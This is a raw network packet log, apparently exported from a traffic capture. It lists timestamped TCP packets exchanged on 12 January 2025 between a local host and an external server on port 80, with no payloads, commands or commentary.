Jan 12, 2025 17:39:11.694211006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694245100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694273949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694291115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694291115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694291115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694305897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694338083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694345951 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694345951 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694366932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694400072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694415092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694415092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694432974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694464922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694482088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694483042 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694498062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694530964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694540977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694540977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694564104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694593906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694627047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694636106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694636106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694636106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694658995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694665909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694691896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694729090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694760084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694792986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694803953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694803953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694803953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694827080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.694863081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.694943905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749087095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749145985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749178886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749197006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749197006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749212980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749248981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749280930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749299049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749299049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749299049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749320030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749370098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749403000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749430895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749454975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749454975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749454975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749464989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749511003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749542952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749557972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749557972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749558926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749577045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749609947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749634981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749634981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749661922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749687910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749717951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.749763966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.749763966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750143051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750195980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750226974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750278950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750313044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750323057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750323057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750365019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750397921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750422001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750422001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750447035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750451088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750500917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750550985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750551939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750551939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750602007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750637054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750684977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750684977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750684977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750686884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750741959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750783920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750823975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750859976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750880957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750880957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750888109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750921011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750931978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750931978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750955105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.750997066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.750997066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751004934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751056910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751091957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751107931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751107931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751127958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751157999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751171112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751171112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751192093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751225948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751240015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751240015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751256943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751291037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751307011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751307011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751337051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751346111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751380920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751414061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751446962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751461983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751461983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751461983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751482010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751514912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751562119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751580954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751581907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751581907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751596928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751630068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751657963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751657963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751663923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751697063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751733065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751750946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751750946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751750946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751833916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.751893044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751925945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751960993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.751995087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.752028942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.752028942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.752028942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.752028942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.752063990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.752077103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.752099037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.752125978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.752125978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.752315044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.778692007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.778747082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.778795958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.778795958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.778800964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.778851986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.778882980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.778887987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.778938055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.778966904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.778966904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.778980970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.778999090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779031992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779067039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779099941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779112101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779112101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779112101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779134035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779166937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779182911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779182911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779198885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779215097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779232025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779263020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779280901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779280901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779309988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779330015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779361963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779369116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779402971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779419899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779441118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779484034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779484034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779490948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779544115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779572010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779577971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779609919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779612064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779628038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779644012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779674053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779721022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779721022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779721022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779722929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779774904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779824018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779824018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779824972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779860020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779872894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779907942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779927015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779942989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.779966116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.779978991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780025005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780025005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780029058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780127048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780141115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780178070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780211926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780245066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780255079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780255079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780255079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780278921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780292034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780314922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780347109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780368090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780368090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780381918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780405045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780420065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780455112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780467033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780467033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780488014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780522108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780531883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780531883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780555010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780589104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780601978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780602932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780628920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780663967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780687094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780687094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780697107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780730963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780742884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780742884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780764103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780797958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780831099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780848980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780848980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780848980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780864954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780898094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780925035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780931950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.780996084 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.780997038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835395098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835453033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835506916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835522890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835522890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835557938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835594893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835628986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835633993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835633993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835633993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835663080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835695982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835710049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835710049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835730076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835757971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835789919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835807085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835807085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835807085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835823059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835855961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835870981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835870981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835889101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835920095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835922003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835954905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.835974932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.835974932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836075068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836405039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836457968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836464882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836508989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836544991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836575985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836575985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836591959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836595058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836646080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836659908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836675882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836709976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836719036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836719036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836743116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836771011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836788893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836788893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836822033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836827040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836855888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836880922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836905003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836939096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.836985111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836985111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836985111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.836988926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.837024927 CET	80	49975	31.41.244.11	192.168.2.7
